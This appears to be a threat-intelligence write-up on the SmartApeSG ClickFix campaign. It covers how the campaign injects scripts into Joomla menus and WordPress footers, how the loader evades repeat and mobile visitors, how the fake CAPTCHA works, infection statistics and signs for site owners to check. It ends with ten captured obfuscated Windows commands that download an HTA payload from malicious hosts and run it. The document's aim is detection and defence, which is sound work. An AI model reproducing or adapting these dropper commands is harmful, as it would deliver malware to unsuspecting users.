SmartApeSG ClickFix kit

A script inside a menu link

On Joomla, SmartApeSG hides in the class attribute of a menu item. The injected markup is malformed on purpose, so the browser closes the attribute early and reads an async script tag from inside it. The menu link around it breaks, which is often the only visible damage. We see this in Helix menus (sp-menu-item) and in Joomla's standard numbered item-* menus.

The script path changes with each wave but keeps the same shape, a short sequence of words such as /identity/realm-xml.js, /route/tenant-core.js, /session/login-template.js or /tenant/logout-transpiler.js. The host serving them rotates too.

The WordPress sites we see get it differently: a footer loader that fetches a REST route on the site itself, such as /wp-json/wal/v1/footer, copies each script it returns into the page and leaves a hidden data-wal-hash marker so it never adds the same one twice.

SANS has written about SmartApeSG and how it differs from KongTuke, a similar campaign.

Once a day, never on a phone

The external script rebuilds its next address with a hexadecimal XOR, then checks a timestamp in local storage and gives up if the visitor saw it in the last 24 hours. It also skips mobile browsers. A visitor who passes gets the next stage, as a script or in a full-screen frame depending on the build. Its addresses sit in the obfuscated script and change with each rotation.

Builds have kept the timestamp under cf-used-at, lastVisit or CACHE_KEY_EVICT_10. The rotation we captured on 10 November 2026 decodes its address with the key CHECK_SUM, keeps the timestamp under TS_TREE and deletes any cf-used-at entry. It loads its next stage as a script from /tenant/trace-css? plus eight random characters, on the loader's own host.

The fake CAPTCHA and the command

The lure is a fake CAPTCHA built in React. Each click on the checkbox copies a Windows command to the clipboard and counts the click. The command is written in pieces with delayed-expansion variables so no single string gives it away, and it uses curl to download an HTA file into the user's AppData\Local folder. Newer builds never write the word curl: a loop, for %x in (cu) do %xrl, puts it together when the command runs, and the file path comes from a second loop variable read back with %~y.

What we see

Month	New sites
September	1,198
October	302
November so far	466

Of the 1,063 sites recaptured at least 25 days after their first match, 1,020 were still serving SmartApeSG (96%). Of the sites captured since 25 September, 88% requested Joomla core files and 8% ran WordPress.

Checking a site

On Joomla, open the page source and search the menu for a class attribute that contains <script. Look for script paths shaped like /word/word-word.js on a host you do not recognise, or menu links that render broken.

On WordPress, look for a REST route under /wp-json/wal/ or a hidden element with a data-wal-hash attribute that you did not add.

In the browser, a cf-used-at, TS_TREE, lastVisit or CACHE_KEY_EVICT_10 entry in local storage on your site's domain is another sign.

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]stepanapis[.]com/prs& start "" "%y")"

%COMSPEC% /q /c for %s in (sta) do @%srt "" /min %COMSPEC% /q /c "for %x in (cu) do for %y in ("%LocalAppData%\NHEWS.h") do (%xrl -s -L -k -o "%~yta" spinneyandcalcite[.]com/roq& explorer "%~yta")"

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set f=cu&set d=rl&for %g in (%LocalAppData%\prospect.hta) do !f!!d! -skLo "%g" sloughandnephrite[.]com/wave& start "" "%g")"

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]cuestmoon[.]com/gtr& start "" "%y")"

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\HUREAG.hta) do !x!!c! -skLo "%y" gulchandlapis[.]com/hns& start "" "%y")"

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]tundstone[.]com/drs& start "" "%y")"

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" fenandalabaster[.]com/oo& start "" "%y")"

%COMSPEC% /c start "" /m^i^n %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" holmandandesite[.]com/rsc& start "" "%y")" & rem              ---------- Human verification: press Enter to continue

%COMSPEC% /q /c for %s in (sta) do @%srt "" /min %COMSPEC% /q /c "for %x in (cu) do for %y in ("%LocalAppData%\NHEWS.h") do (%xrl -s -L -k -o "%~yta" orchardandbarite[.]com/spa& explorer "%~yta")"

%COMSPEC% /c start "" /min %COMSPEC% /c %COMSPEC% /v:on /c "(set x=cu&set c=rl&for %y in (%LocalAppData%\NHEWS.hta) do !x!!c! -skLo "%y" api[.]arroystone[.]com/v1& start "" "%y")"